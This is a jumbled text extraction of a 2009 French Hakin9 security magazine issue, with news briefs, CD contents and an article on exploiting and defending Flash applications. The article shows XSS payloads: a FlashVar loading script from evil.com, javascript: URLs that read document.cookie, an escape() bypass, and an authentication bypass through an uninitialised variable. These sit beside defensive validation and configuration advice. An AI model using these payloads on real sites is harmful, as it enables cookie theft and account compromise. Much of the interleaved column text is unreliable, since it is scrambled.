Professional Documents
Culture Documents
C
hers lecteurs, nous avons le plaisir de vous présenter le 1er numéro de
cette nouvelle année 2009. À cette occasion, nous vous souhaitons à tous
et toutes une merveilleuse année 2009 pleine de réussite professionnelle,
ainsi que beaucoup de plaisir lors de la lecture de notre magazine. L'année dernière,
beaucoup d'entre vous nous suggéraient de nous intéresser au sujet de la sécurité
d'applications Web. Nous avons pris en compte vos souhaits, et revenons vers vous
cette fois, avec le dossier qui présente cette question sous différents aspects.
Nous vous montrerons que les applications Flash ne sont pas plus protégées
des XSS que des autres types de failles de sécurité et comment s'en protéger. Nous
présenterons aussi les phases de test et d'audit des applications Internet Riches,
ainsi que les techniques d'utilisation des outils Open Source afin d'automatiser la
désobfuscation des codes Javascript malicieux.
1/2009 HAKIN9 3
SOMMAIRE
DOSSIER
34 Applications Internet Riches Failles
relatives a code source des
applications FLEX
12 Exploitation et défense des ADITYA K SOOD
Cet article traite des meilleurs techniques pour tester
applications Flash des Applications Internet Riches de type Flash, Flex et Air.
NEIL BERGMAN
La méthode dont on va parler vise a mettre en �uvre
Lors du développement d’applications web complexes,
une procédure identique à tous les environnements.
la plupart des développeurs ne connaissent pas tous les
Nous avons introduit un modele hiérarchique avec des
risques encourus auxquelles leurs applications doivent
exemples détaillés et une sémantique en relation avec
faire face.
les tests.
PRATIQUE
Ne sombrons pas dans la paranoia compulsive!
Néanmoins, il est vrai qu’il n’est pas courant d’obfusquer
un contenu Web, mais certaines compagnies ou
particuliers utilisent ces méthodes.
48 Débuter avec un pare feu Cisco
ALEXANDRE CHAIGNEAU
L’utilisation de plus en plus intensive d’Internet, la mise
à disposition de services ou bien encore la
communication entre sites géographiques sont
des besoins de plus en plus présents. Ces besoins
entrainent des risques importants pour la sécurité et la
confidentialité des informations. Les pare-feux sont donc
devenus des outils indispensables dont la maîtrise du
fonctionnement est un élément primordial.
4 HAKIN9 1/2009
SOMMAIRE
TECHNIQUE
58 Fonctionnement et implémentation
du protocole 802.1x
NICOLAS RENARD
Le protocole 802.1X et son protocole d’authentification EAP
sont devenues une nécessité pour tous qui souhaitent
72 Programmation d’un unpacker
protéger professionellemnt son réseau des l’accès
de trojan
BABOON
physique par les utilisateurs. Ce protocole est aussi tres
Une technique tres utilisées par les antivirus est la
souhaitable pour les réseaux Wifi afin de parfaitement
détection par signature. Pour lutter contre la détection par
sécuriser les connexions des utilisateurs. L’auteur présente
signature les trojans sont souvent packés a l’aide d’un
entre autres la configuration d’une borne cisco Aironet
packer. Un packer est un programme qui compresse ,
et d’un client Linux, ainsi que la configuration d’un client
chiffre, protège les exécutables.
802.1X pour une connexion au réseau Wifi sous MacOS/
Windows/Linux.
VARIA
6 En bref
Ignace Kangni Kueviakoé
Vous trouverez ici les nouvelles du monde de la sécurité
des systèmes informatiques.
10 Sur le CD-ROM
Hakin9
Nous vous présentons le contenu et le mode de
fonctionnement de la version récente de notre principale
distribution hakin9 live. Et les applications commerciales.
80 Éditorial
BACKUP
Louis Nyffeneger
Notre consultant de sécurité vous présente Botnet&Web.
1/2009 HAKIN9 5
EN BREF
dynamique face à une concurrence sécurité de la gestion des informations,
ATTAQUE MASSIVE : 208 000 de taille. Il est à noter que cet éditeur de celle des applications et des bases
SERVEURS COMPROMIS d'antivirus a reconsidéré son offre en la données, voire même dans la gestion
À TRAVERS LE MONDE réorganisant suivant la taille d’entreprise. Il des identités. Et les sociétés suivantes
La nouvelle a fait vent début octobre 2008. a aussi intégré de nouvelles fonctionnalités sont citées comme les prochaines cibles
Il s’agit d’un gang de pirates qui aurait dont le support de Linux. Il a lancé en mai : ArcSight, Application Security, Chosen
compromis deux cent huit mille serveurs. 2008 une offre dénommée Security as Security, Courion et LogRhythm.
Parmi eux, 80 000 sites web étaient déjà a Service et a accru sa présence sur le
infectés par la dernière version d'un kit de continent nord américain.
piratage que l'on prenait pour disparu. Ce partenariat profiterait certainement DÉTOURNEMENT DE WEBCAM
En faisant des études sur le kit de aussi à SkyRecon puisque cette nouvelle Au début du mois d’août 2008, la
piratage Neosploit, le chercheur Ian Amit fonctionnalité lui permettra de lutter contre firme Adobe a indiqué qu'une récente
a découvert un serveur FTP partagé la tendance de ses concurrents à offrir vulnérabilité peut être utilisée pour activer
par plusieurs groupes de pirates et qui l'antivirus qu'ils ont à leur gamme pour la webcam des ordinateurs à la visite
hébergeait 208 000 codes d'accès FTP gagner des appels d'offre plus généraux. d'une page web piégée. Ce qui permettrait
à des sites web légitimes à travers la d’enregistrer du son et des images.
planète. Parmi ces sites une grande partie Selon l'alerte de Adobe, cette attaque
de ces sites appartiennent à de grands MCAFEE S'OFFRE SECURE dite attaque par clickjacking consiste à
groupes, dont le service postal américain. COMPUTING POUR 465 MILLIONS provoquer le clic d'un internaute sur un lien,
Pour ce qui est de la France, les sites de DE DOLLARS sans son consentement et sans qu'il ne
TF1.fr, 3suisses.fr et bouyguestelecom.fr Mcafee, le concurrent direct de Symantec soit prévenu. Cela permettrait également
seraient parmi ceux compromis. dans le domaine des logiciels de de forcer le plugin Flash du navigateur
Pour ceux qui ne le savent pas, sécurité informatique a acquis Secure à activer la webcam et le microphone
Neosploit est un outil clé-en-main qu'un Computing spécialiste de la sécurisation de l'ordinateur afin d'espionner son
pirate peut installer sur un serveur web afin des applications d'entreprise pour un environnement immédiat.
que ce dernier infecte ses visiteurs lors montant de 465 millions de dollars. Secure Et jusqu’à la fin du mois septembre,
de leur passage sur le site. Les PC des Computing aurait 22 000 clients et 238 aucun correctif ne serait encore disponible
internautes ainsi compromises peuvent millions de chiffres d'affaires en 2007 et (même si Adobe plutôt annoncé pour
donc servir à un botnet dans le but travaillerait avec plus de 2000 partenaires la fin du mois d’octobre). Il a cependant
d'envoyer du spam ou mener des attaques à travers le monde. Secure computing présenté une méthode de désactivation de
contre d'autres serveurs. dominerait le marché mondial des la caméra et du microphone via l'interface
D’après le chercheur, les pirates applications de sécurisation Web avec une médias de Flash.
disposaient d'une application web afin de part de 11%. Il est possible pour les entreprises de
valider les mots de passe et d'installer Ce rachat vient à point nommé désactiver les interactions entre Flash et
automatiquement Neosploit sur les sites renforcer, pour Mcafee, l’offre de solutions les webcams et ou microphones à l'aide
compromis. L'accès à cette application professionnelles regroupées dans la d'un fichier de configuration. Cela est plus
était restreint et réservé à six ou sept division Network Security dont la direction détaillé dans l'alerte officielle d'Adobe au
adresses IP uniquement. est confiée au PDG de Secure Computing. http://www.adobe.com/support/security/
Jusqu’à ce jour personne ne sait À travers cette opération, McAfee va advisories/apsa08-08.html
comment les pirates ont pu se procurer enrichir sa gamme d'outils de gestion
de tous ces codes d'accès, mais il est fort des risques de sécurité (SRM) destinés
probable qu'ils proviennent de plusieurs aux professionnels : contrôle d'accès,
sources, qu’ils aient été achetées et firewall, sécurité web, protection des
agrégées sur une période de temps, ou données et des messageries, etc. Selon un
qu'ils aient eu recours à des campagnes responsable de Mcafee, le rapprochement
d’ameçonnage. avec Secure Computing va permettre au
groupe de générer près de 500 millions de
dollars de revenus sur la sa gamme SRM.
SKYRECON A PORTÉ SON CHOIX Il est à remarquer que Mcafee conduit
SUR PANDA SECURITY depuis printemps 2007 une active
Anciennement Panda Software, Panda politique de croissance externe comme
Security est la solution antivirale que en témoigne les rachats de Onigma, de
SkyRecon a choisi d’intégrer à son produit Reconnex et de SafeBoot.
StormShield. Un partenariat intéressant Des analystes en stratégie prédisent
est donc créé entre ces deux structures. que McAfee devrait encore étendre ses
Ce qui montre que Panda Security reste compétentes dans les domaines de la
6 HAKIN9 1/2009
EN BREF
1/2009 HAKIN9 7
EN BREF
africain ont pris part à ce séminaire de informations confidentielles telles que leur compte aussi démontrer que cet outil
formation théorique et pratique de 60 numéro de carte bancaire ou leur code peut servir à pirater une session en ligne
heures. Elle a couvert tous les modules PIN (Personal Identification Number). avec une banque, installer un cheval de
du CISSP. À ces modules ont été ajoutés Ce cheval de Troie est de plus en plus Troie sur un iPhone jailbreaké ou servir
des présentations sur l’expérience à la portée d’un nombre croissant de à installer des programmes Java lors
tunisienne en la matière. Et la plupart des fraudeurs. d'une session en ligne.
pays africains se préparent désormais Limbo s'intègre dans un navigateur Ce chercheur en sécurité veut
à combattre la cybercriminalité. Comme web par une technique d'injection html, un prouver aux professionnels que
quoi le hacking n’épargne aucun responsable des nouvelles technologies sécuriser uniquement les formulaires
continent. chez RSA, éditeur spécialisé dans la de connexion n'est pas suffisant, pour
sécurité, L'intégration avec le navigateur prémunir un utilisateur du risque de
est telle que le trojan opère même quand piratage lors de ses connexions dans un
L’UAC DE MICROSOFT INDISPOSE l'utilisateur se trouve sur le site légitime de endroit public.
Le contrôle des comptes utilisateurs ou la banque et modifie l'apparence du site.
UAC (User Account Control) mis en place Rien ne semble suspect, si ce n'est que
dans Windows Vista est sujet à beaucoup l'on se voit demander des informations EGILIA LEARNING OFFRE UN ULTRA
de critiques. Il est peut être vrai que que l'on ne vous avait jamais demandées PORTABLE EEE PC
l’objectif de MS était de faire de Windows auparavant . Le prix de vente de Limbo EGILIA Learning offre un ultra portable
Seven un produit recueillant davantage est en baisse constante et remarquable Eee PC à tous les participants de
d'impressions positives. Mais, Microsoft depuis deux ans. ses nouvelles formations Réseau et
lui-même reconnaît les errances liées Management ! Qui dit nouveaux cursus
à l'UAC et prévoit de modifier cette de Formation dit nouveaux avantages :
fonctionnalité de son OS. D'ailleurs sur SÉCURISER LES FORMULAIRES Parfaitement adapté à cette nouvelle
un blog, Microsoft décrit le contrôle des DE CONNEXION DEVIENT gamme de sessions de formation à la
comptes utilisateurs comme étant l'un des INSUFFISANT fois courtes et opérationnelles, l’ultra
outils les plus controversés de Vista. Il est de notoriété publique désormais portable Eee PC offert par EGILIA à tous
Et il promet que l'UAC de Seven sera que les des protocoles d'encryption WiFi les participants inscrits se révèle être le
moins encombrant et se contentera de utilisés pour les connexions dans des compagnon pédagogique léger (900
faire cela pour quoi il est prévu c’est-à-dire lieux publics sont vulnérables. grammes !), peu encombrant et idéal !
améliorer la sécurité du système et offrir Cependant, une autre menace Complet (1 Go de mémoire RAM,
aux utilisateurs principaux d'une machine se pointe. Un expert en sécurité, Jay Disque dur de 12 Go, lecteur multicartes,
un meilleur contrôle des applications Beale, a développé un outil en Python Carte Wifi 802.11g, Webcam 1.3 Mpx, 3
et des paramètres. Il s'engage aussi dénommé The Middler, qui est en mesure ports USB, port Ethernet, Ecran 9
à réduire le nombre de fenêtres d'intercepter le contenu d'une session pouces, Processeur Intel Celeron -M ULV
apparaîssant à l'écran pour demander avec des applications web telles que 900Mhz et Windows XP installé),
confirmation à l'utilisateur qu'il possède Gmail ou Facebook par exemple. Cet outil cet outil fonctionnel permet d’accéder,
bien les droits pour effectuer telle ou telle serait capable de modifier les paramètres à tout moment, à l’ensemble du matériel
tâche. De même, ces fenêtres seront plus de la session et d'en prendre le contrôle pédagogique de la formation suivie, de
informatives. à distance. Pour GMail par exemple : consulter à volonté les supports de cours
on pourrait lire ou écrire des courriels, et de refaire les travaux pratiques liés au
effacer ou modifier le carnet d'adresses cursus.
LE CHEVAL DE TROIE LIMBO ou encore changer le mot de passe de Rappelons que la totalité des
MOINS CHER !!! l'utilisateur légitime. supports pédagogiques sont réalisés
Savez-vous que Limbo est maintenant Jay Beale aurait exploité une faille en interne par EGILIA Learning, en
commercialisé sur le marché noir ? Son apparemment toute simple. Il attend que totale indépendance vis-à-vis des
prix est en baisse depuis plus d’un an. Il les utilisateurs soient connectés avec leur constructeurs.
est vendu à 350 $ actuellement, contre login et identifiant pour alors prendre le Pour connaître la liste des nouvelles
1000 $ il y a un an, et 5000 $, il y a deux contrôle de la page. Il s'est aperçu que formations EGILIA qui donnent droit à
ans. si les formulaires de connexion utilisaient cette offre, consultez : http://www.egilia-
Limbo est un cheval de Troie qui le protocole sécurisé HTTPS, une fois learning.com/fr/
permet de modifier la mise en page connecté à ce type d'application Web, on Pour plus de détails sur les
de sites bancaires afin de récupérer passe alors en HTTP simple, qui est plus caractéristiques techniques Eee PC,
les informations sensibles des clients. facile à pirater. Au cours de la conférence consultez :
Il permet d'insérer des champs de sur la sécurité SEC TOR qui s’est déroulé http://www.egilia-learning.com/fr/
saisie sur des sites de banques en les 7 et 8 octobre 2008 à Toronto The dossiers/offres_speciales/
ligne, et d'inciter les clients à entrer des Middler a été présenté. Son auteur
8 HAKIN9 1/2009
www.t3eu.com
HAKIN9 9
HAKIN9.LIVE
CD-ROM – HAKIN9.LIVE
Le magazine hakin9 est toujours accompagné d'un CD-ROM. Vous y trouverez
comme d'habitude des versions complètes d'applications commerciales
particulièrement utiles.
C
ette édition du magazine hakin9 bruts. L'intégration du cadre d'application et fichiers joints, peu importe où ils se
est proposée avec hakin9.live Metasploit2 et Metasploit3 est également trouvent sur le disque dur de leur système.
(accompagnée du CD BackTrack3). disponible ainsi qu'un alignement permettant L’application permet de retracer, en une
Cette distribution est riche en applications d'ouvrir des standards et des cadres fraction de seconde, des fichiers de type
et autres plugins. BackTrack3 est la d'applications tels que ISSAF et OSSTMM. Word,
distribution Linux live la plus pertinente dans Vous trouverez les programmes suivants Excel et Powerpoint de Microsoft, PDF
le registre de la sécurité informatique. Sans dans le dossier Appliations du CD d’hakin9. d’Adobe et multimédia, notamment. Version
aucune installation préalable, la plate-forme gratuite
d'analyse peut être directement démarrée http://www.copernic.com/fr
à partir du CD-Rom et son contenu CLEANDRIVER DE GSA ONLINE
entièrement accessible en quelques minutes Cleandriver efface toutes vos traces sur
seulement. Outre les mises à jour et d'autres Internet (les sites web que vous avez ABCWEBWIZARD WEB DESIGN
optimisations, cette version de BackTrack3 consulté), les fichiers récemment ouverts Cette application vous permet de
hakin9.live contient également des éditions (les fichiers vidéo visionnés) et même les concevoir facilement des sites web
spéciales d'applications commerciales parmi logs qui indiquent les programmes exécutés entièrement personnalisés, ceci grâce
les plus intéressantes du moment. Elles sont (par exemple, un jeu joué au bureau). Ce à une interface de type pointez-cliquez.
préparées exclusivement à l'attention toute logiciel antispyware primé et reconnu, efface Ce logiciel crée des menus
particulière de nos lecteurs. Pour pouvoir tout l'historique de vos activités sur PC ainsi graphiques et des menus déroulants (en
utiliser BackTrack3 hakin9.live, il vous suffit de que les traces qui pourraient permettre fonction de la structure choisie). Outre cet
démarrer votre ordinateur à partir du CD. Pour l'usurpation de votre identité. aspect, vous pouvez automatiquement
pouvoir utiliser les applications commerciales Prix : $29 (environ 23€) changer le design et l'interface du site
fournies, inutile de démarrer votre ordinateur http://www.gsa-online.de/eng/index.html uniquement avec votre souris. Vous
à partir du CD : vous les trouverez dans le disposez également de jeux java, de
dossier baptisé Applications. Chaque paquet, fonctionnalités d'optimisation pour les
configuration de noyau et script contenu dans COPERNIC AGENT BASIC moteurs de recherche (afin d'obtenir un
BackTrack3 est optimisé de manière à être Copernic Agent Basic interroge les meilleurs bon référencement) et bien plus encore !
utilisé par les experts en audits de sécurité et moteurs de recherche sur le Web, afin de Prix : 99,95$
de tests d'intrusion. Les patchs de correction repérer des résultats pertinents et d'une http://abcwebwizard.com/
et autres scripts automatiques ont été qualité supérieure. Son interface conviviale
ajoutés, appliqués ou développés de manière vous permet de maîtriser rapidement les Tutoriel Vidéo
à proposer un environnement agréable, nombreuses améliorations apportées, de L'Art du Black Packaging par Wayne
intuitif et prêt à l'emploi. Les quelques sorte que vos recherches sur Internet seront Ronaldson - Avec cette méthode de test
nouvelles fonctionnalités de BackTrack3 sont plus rapides et plus faciles que jamais. d'intrusion, nous nous sommes connecté
présentées avec BackTrack3 hakin9.live. http://www.copernic.com/fr sur le réseau sans-fil du client. Nous avons
La fonctionnalité la plus importante est Prix : 29,95€ vérifié immédiatement s'il y avait des
incontestablement l'utilisation du noyau 2.6.20 dossiers partagés. D'ailleurs, pour ce test
mis à jour à l'aide de plusieurs programmes d'intrusion la chance était de notre côté.
de correction. Un support pour la carte sans COPERNIC DESKTOP SEARCH Voulez-vous en savoir plus ?
fil Broadcom a également été rajouté et des La version Home de Copernic Desktop
pilotes WiFi ont été élaborés de manière Search permet aux particuliers de trouver
à supporter les injections de paquets instantanément des fichiers, courriels Consultez vite le tutoriel sur notre CD !
10 HAKIN9 1/2009
HAKIN9.LIVE
S’il vous est impossible de lire le CD. et que ce dernier n’est pas
endommagé physiquement, essayez de lire dans au moins 2
lecteurs différents.
6/2008 HAKIN9 11
DOSSIER
NEIL BERGMAN
Exploitation
et défense des applications
Flash
Degré de difficulté La technologie Flash d'Adobe est devenu la technologie la plus
populaire non seulement afin de créer des animations et des
pubs, mais aussi pour développer de complexes applications
Internet. Les applications Flash (fichiers portant l'extention SWF)
sont distribuées par les protocoles web et ont la possibilité de lire
des fichiers locaux ou distants, de créer des connexions réseaux
et d'intéragir avec d'autres application SWF.
L
es développeurs d'applications web Imaginons une situation frauduleuse SWF
devraient être familiers avec une afin de clarifier le principe. Une agence de pub
vulnérabilité connu sous le nom de malveillante pourrait créer une application SWF
Cross Site Scripting (XSS). Cette vulnérabilité malicieuse dans le but de pirater les comptes
apparaît généralement lorsque les applications emails et envoyer du spam. Par défaut, le client
web acceptent du code malicieux de source Flash dispose d'un accès complet au DOM sur le
inconnue et l'affichent sans vérifier le contenu domaine.
des données. Les applications Flash ne sont pas La méthode de base des attaques XSS dans
plus protégées des XSS que des autres types de les applications web est décrite dans la Figure 1.
failles de sécurité. Cependant, les administrateurs Première étape, un attaquant doit trouver
ou les développeurs d'applications Flash peuvent le moyen d'injecter du code dans l'application
prendre des précautions afin d'utiliser de façon dans le but de l'afficher à un autre utilisateur.
adéquate avec ces nouvelles technologies. Adobe fournit une variété de composants pour
les programmeurs afin que ceux-ci puissent les
Les vulnérabilités XSS réutiliser un peu comme les objets formulaires en
Les attaques par Cross-site scripting ont pour but HTML, comme des combo boxes, des boutons
l'injection du code malicieux, comme JavaScript et des champs texte.
ou VBScript dans une application web. L'objectif De plus, il existe des possibilités de passer des
est généralement d'obliger un utilisateur à suivre paramètres d'entrées externe à l'application SWF.
CET ARTICLE un lien ou à visiter un site web malveillant. L'attribut FlashVar peut être ajouté dans un
EXPLIQUE... L'application web affichera et exécutera le document HTML par les balises <object>
Des vecteurs d'attaques code injecté dans le contexte de la session et <embed> :
spécifiques pour Flash.
web de la victime. Ce genre d'attaque mène
Des astuces d'audit de la
sécurité des Flash.
généralement à la compromission du compte <param name=”testParam”
de l'utilisateur et ne permet pas normalement value=”testValue”>
Des techniques de
développement/configuration l'exécution de commandes à moins de l'exploiter
sûres.
conjointement avec une faille dans le navigateur. Des données peuvent aussi être passées
CE QU'IL FAUT Depuis que les applications SWF sont introduites directement par le biais de la barre d'adresse :
SAVOIR... dans les sites web et ont un accès complet au
Les connaissances de bases du DOM (Document Object Model) HTML, elles http://www.test.com/
langage ActionScript. peuvent être utilisées afin de provoquer une movie.swf?testParam=
Les bases des attaques XSS. attaque XSS. testValue
12 HAKIN9 1/2009
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH
<script type=”text/javascript”>
������������������������ document.images[0].src =
������������������������������������
“http://example.com/
newImage.jpg”;
</script>
1/2009 HAKIN9 13
DOSSIER
Cette fonction permet à l'application fournis et ensuite modifie l'élement HTML dans une animation Flash en utilisant un
SWF de communiquer avec le lecteur identifié par text . Les développeurs composant Text Field d'ActionScript 2.0 ou
flash ou le programme qui héberge le devraient garder à l'esprit quelles sont un composant TextArea .
lecteur flash. Généralement, le lecteur les entrées accordées à l'utilisateur Ces deux composants peuvent être
flash réside dans un navigateur web, afin d'utiliser sagement la fonction abusés si l'entrée utilisée pour construire
mais il peut aussi résider dans d'autres fscommand et ensuite comment les la page HTML n'est pas suffisament
programmes qui hébergent des contrôles arguments sont utilisés à l'intèrieur du contrôlée. Une attention toute particulière
ActiveX. document HTML. doit être faite afin de vérifier les balises
Fscommand est constitué de deux L'exemple de code précédent permet d'images et d'ancres. La balise <img>
parties, une commande et un paramètre. à un attaquant d'injecter de l'HTML ou en Flash permet à un développeur
Considérez la commande fscommand du code script directement dans le DOM d'embarquer non seulement des images,
suivante qui envoie une commande comme illustré par la requête suivante mais aussi des fichiers SWF, des clips
changeText avec un argument spécifié qui inclue et exécute un fichier de script vidéo dans les champs texte et textarea.
par une FlashVar. JavaScript sauvé sur une machine Ce qui permet un très grand nombre
distante. d'attaques possible. Considérez le code
fscommand("changeText", pour paramètrer le composant text HTML
_level0.userParam); http://test.com/movie.swf?userParam= en utilisant les données d'une source
<script src=”http://evil.com/ externe :
Le code JavaScript du Listing 1 pourrait script.js”></script>
donc résider dans un document HTML textbox.htmlText = _level0.htmlParam
pour prendre en charge les commandes Composants HTML formatés
envoyés par l'application SWF. Il prend Adobe supporte une petite partie des Une première tentative d'embarquer du
simplement en charge les arguments balises HTML qui peuvent être placées Javascript dans une image échoue, car
le lecteur Flash demande une image au
format JPEG, GIF, ou PNG.
Listing 3. Code qui utilise une variable non initialisée
if(checkCredentials()) { http://test.com/movie.swf?htmlParam=
userLoggedIn = true;
<img src=’javascript:alert(
} if(userLoggedIn) { document.cookie)’>
showCreditCardList();
} Cependant, le code suivant illustre que la
validation effectuée par le lecteur est juste
Listing 4. Exemple de code SharedObject
un test en surface. Il vérifie seulement
var so:SharedObject = SharedObject.getLocal("myObj","/a/b"); que l'attribut source donné finit par
so.data.val = “this is data”;
une chaîne de caractères jpg, ainsi en
so.flush();
ajoutant simplement un commentaire de
Listing 5. Code de réception de LocalConnection style C, nous pouvons pièger le lecteur
afin qu'il exécute les scrips dans les
var lcReceive:LocalConnection;
lcReceive = new LocalConnection(); balises <img> sans pour autant altérer
lcReceive.connect("connName"); le fonctionnement du code. Une fois que
lcReceive.allowDomain('*'); le browser à charger le fichier SWF le
function changeHTML(html:String) {
Javascript est exécuté sans l'interaction
outputBox.htmlText = html;
} de l'utilisateur et la fenêtre de dialogue
apparaît :
Listing 6. Code LocalConnection expéditeur
Listing 7. Utilisation d'une expression régulière pour la validation d'une adresse email En utilisant cette méthode nous pouvons
facilement injecter du Javascript ou
function testEmail(email:String):Boolean {
VBscript dans un composant TextArea .
var emailPattern:RegExp = /([0-9a-zA-Z]+[-._+&])*[0-9a-zA-Z]+@([-0-9a-zA-
Z]+[.])+[a-zA-Z]{2,6}/; Aucun genre de validation n'existe pour
return emailPattern.test(email); les balises d'ancres (comme illustré dans
} la requête suivante). Seulement, ce type
d'attaque XSS requière l'interaction de
14 HAKIN9 1/2009
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH
l'utilisateur. Un utilisateur doit cliquer sur le Supposez qu'un utilisateur renseigne aux fichiers locaux du système. Ainsi, les
lien afin d'exécuter le code : dans le champs username a code qui suit : opportunités de nuire sont nombreuses.
1/2009 HAKIN9 15
DOSSIER
qui détermine si oui ou non un utilisateur paramètres de la classe LoaderInfo, Si vous avez planifié de sauvegarder
a le droit de voir des informations ce qui rend donc les attaques contre des données confidentielles dans
confidentielles. les variables non initialisées obsolètes, un objet local partagé, alors pensez
Le programmeur compte sur le fait cependant les développeurs doivent à positionner le drapeau de sécurité
que la variable userLoggedIn est non continuer à valider les paramètres passer à true. Ce qui aura pour effet de limiter
initialisée et que sa valeur sera donc à un SWF. les accès aux SWF qui sont transmis
undefined. Cette valeur sera évaluée par HTTPS. Indépendemment de la
comme false dans la condition du Communication entre façon dont ils sont transmis, les LSO
test. Il est facile d'échapper à ce code plusieurs SWFs sont sauvegardés en texte claire sur
ActionScript 2, parce que la variable En utlisant un schéma similaire au cookie la machine du client. Il n'existe pas
userLoggedIn n'a pas été initialisée. Il des browsers, les local shared objects de classe de cryptage par défaut en
suffit de positionner userLoggedIn à true (LSOs) fournissent aux applications SWF ActionScript, mais des bibliothèques
soit dans la requête GET soit comme un une petite quantité d'espace de stockage. tierces existent et peuvent être utilisées
paramètre d'un objet à partir du HTML : Les LSO peuvent être limités à un domaine pour sécuriser les informations critiques
spécifique, un chemin local ou une contenues dans les LSO.
http://www.test.com/creditCards.swf? connexion HTTPS. Le code du Listing 4 ActionScript fournit la classe
userLoggedIn=true genère un object partagé qui peut être LocalConnection qui permet aux
utilisé par d'autres SWF sauvés en /a/b. La applications SWF fonctionnant sur
Dans ActionScript 3, les FlashVars ne sont fonction flush force l'objet à être écrit dans la même machine de directement
accessibles que par les propriétés des le fichier. communiquer entre-elles. L'une d'entre
elles doit être configuré en tant que
receiver et une autre en tant que sender.
Listing 8. Validation de l'email sans les expressions régulières
Les SWF n'ont pas forcément besoin de
function testEmailNoReg(email:String):Boolean { fonctionner dans le même navigateur,
var emailSplit:Array = email.split("@");
mais la communication est limité par
if(emailSplit.length != 2) {
return false; défaut aux SWF qui résident dans le même
} for(var i=0;i<emailSplit[0].length;i++) { domaine. Durant la phase de debug, les
if(!validChar(emailSplit[0].charAt(i))) { developpeurs ont souvent recours à la
return false;
}
fonction allowDomain pour débloquer
} for(var i=0;i<emailSplit[1].length;i++) { les restrictions de sécurité par défaut.
if(!validChar(emailSplit[1].charAt(i))) { Considérez le code du Listing 5 qui
return false;
configure une LocalConnection afin de
}
} recevoir des données.
return true; allowDomain(‘*”) est une fonction
dangereuse dans notre code en
} function validChar(char:String):Boolean {
var allowedSymbols:String = "._";
production, car il permet à n'importe quel
char = char.toUpperCase(); SWF de n'importe quel domaine d'accéder
if(allowedSymbols.indexOf(char)!=-1 || aux fonctions internes de notre application.
(char.charCodeAt(0) >= 65 &&
La meilleur façon d'utiliser l'astérisque
char.charCodeAt(0) <= 90) ||
(char.charCodeAt(0) >= 48 && est d'autoriser les SWF seulement sur
char.charCodeAt(0) <= 57)) { le domaine ou les sous-domaines. Par
return true; exemple, allowDomain(“*.test.com”)
}
permettra la communication entre
return false;
} www.test.com et mail.test.com. Le code
nécessaire pour envoyer des données en
Listing 9. Configuration sécurité convenable pour la balise HTML Object utilisant LocalConnection est montré
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" dans le Listing 6. À la place d'appeler
width="600" height="400"> la fonction connect, l'envoyeur appel
<param name="allowScriptAccess" value="never" /> simplement la fonction send avec les
<param name="allowNetworking" value="none" />
arguments et le nom des fonctions
<param name="allowFullScreen" value="false" />
<param name="movie" value="movie.swf" /> désirées.
<embed src="movie.swf" allowScriptAccess="never"
allowNetworking="none" allowFullScreen="false" width="600" height="400" Validation correcte des
type="application/x-shockwave-flash"/>
</object>
entrées
La méthode courante de validation des
entrées est de vérifier si une partie des
16 HAKIN9 1/2009
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH
données peut être détectée par une fonction escape comme validation des affectent les politiques de sécurité. Le
expression régulière. entrées : paramètre allowScriptAccess contrôle
Une expression régulière décrit si le fichier SWF peut avoir accès au
simplement une succession de navigateToURL(“javascript: conteneur HTML. Tandis que le paramètre
caractères. ActionScript a introduit testFunction(‘” + escape( allowNetworking contrôle si les SWF
le support natif des expressions _level0.userParam) + “’)”); ont la possibilité d'utiliser l'API réseau
régulières depuis la version 3 et les d'ActionScript.
implémente comme définie dans les La fonction escape ne réussie pas à Et allowFullScreen détermine si
spécifications du langage EMCAScript. stopper les utilisateurs malicieux en sortant l'application Flash est autorisée à contrôler
Les développeurs utilisant encore de la fonction JavaScript et ainsi exécutant entièrerent l'écran.
ActionScript 2 doivent valider les leur propre code arbitraire comme l'illustre Il a trois valeurs possibles pour
données sans l'aide des expressions la requête suivante : allowScriptAccess :
régulières ou utiliser une bibliothèques
tierce comme As2lib. http://www.test.com/encode.swf? • always : Autorise le SWF à
Considérez le code suivant : userParam=’);alert(document. communiquer avec la page HTML
cookie);// sans tenir compte du domaine qui
testBox.htmlText = “<a href=’mailto: l'a chargé. Utiliser seulement cette
” + _level0.emailParam + “’> Publier du contenu avec des option si vous avez entièrement
Email me</a>” contrôles de sécurité confiance dans l'application. C'est
Tandis que les développeurs Flash le comportement par défaut dans
N'ayez pas une confiance aveugle dans doivent prendre de leur temps pour Flash Player 7 ainsi que les versions
les données renseignées par l'utilisateur, valider correctement les entrées, les précédentes,
vérifiez les avec des expressions administrateurs web peuvent positionner • sameDomain : Autorise le SWF à
régulières pour stopper les utilisateurs des contrôles de sécurité pour limiter les modifier le contenu de la page HTML
malveillants. Le code du Listing 7 donne applications Flash qui ne sont pas de seulement si il est du même domaine.
un exemple d'une fonction qui utilise confiance. Une application Flash sur www.a.com
les expressions régulières pour tester Les applications SWF peuvent être ne pourra pas modifier une page
si l'adresse email renseignée est bien incluses en tant qu'object dans les HTML située à www.b.com. C'est le
valide. pages HTML en utilisant les balises comportement par défaut de Flash
Si la migration vers ActionScript 3.0 <object><embed>. Vous pouvez spécifier Player 8 et des versions plus récentes,
n'est pas possible pour votre application, trois paramètres optionnels dans les • never: La communication entre les
alors il est quand même possible de balises <embed> ou <object> qui pages HTML et le SWF est interdite.
valider vos entrées sans expression
régulière, bien que la solution soit moins
élégante et ne soit pas compatible avec Sur Internet
les standards des RFC. Sans expression • http://livedocs.adobe.com/flash/9.0/main/flash_as3_programming.pdf – Programming
régulière, la validation utilise plusieurs ActionScript 3.0,
appels aux fonctions standards des • http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf – Adobe Flash
chaînes comme illustré dans le code Player 9 Security,
Listing 8. • http://eyeonsecurity.org/papers/flash-xss.pdf – Bypassing JavaScript Filters – the Flash!
Attack,
Si vous acceptez une entrée qui est
• http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html – Creating more
utilisée par une fonction getURL ou un secure SWF web applications,
composant text HTML, alors il convient de • http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw – XSS Vulnerabilities in
définir le format d'entrée acceptable par Common Shockwave Flash Files,
une expression régulière et de seulement • http://cgisecurity.com/articles/xss-faq.html – The Cross Site Scripting (XSS) FAQ.
accepter les protocoles HTTP et HTTPS
comme lien valide. Attention à la fonction
escape lors de vos validation des entrées.
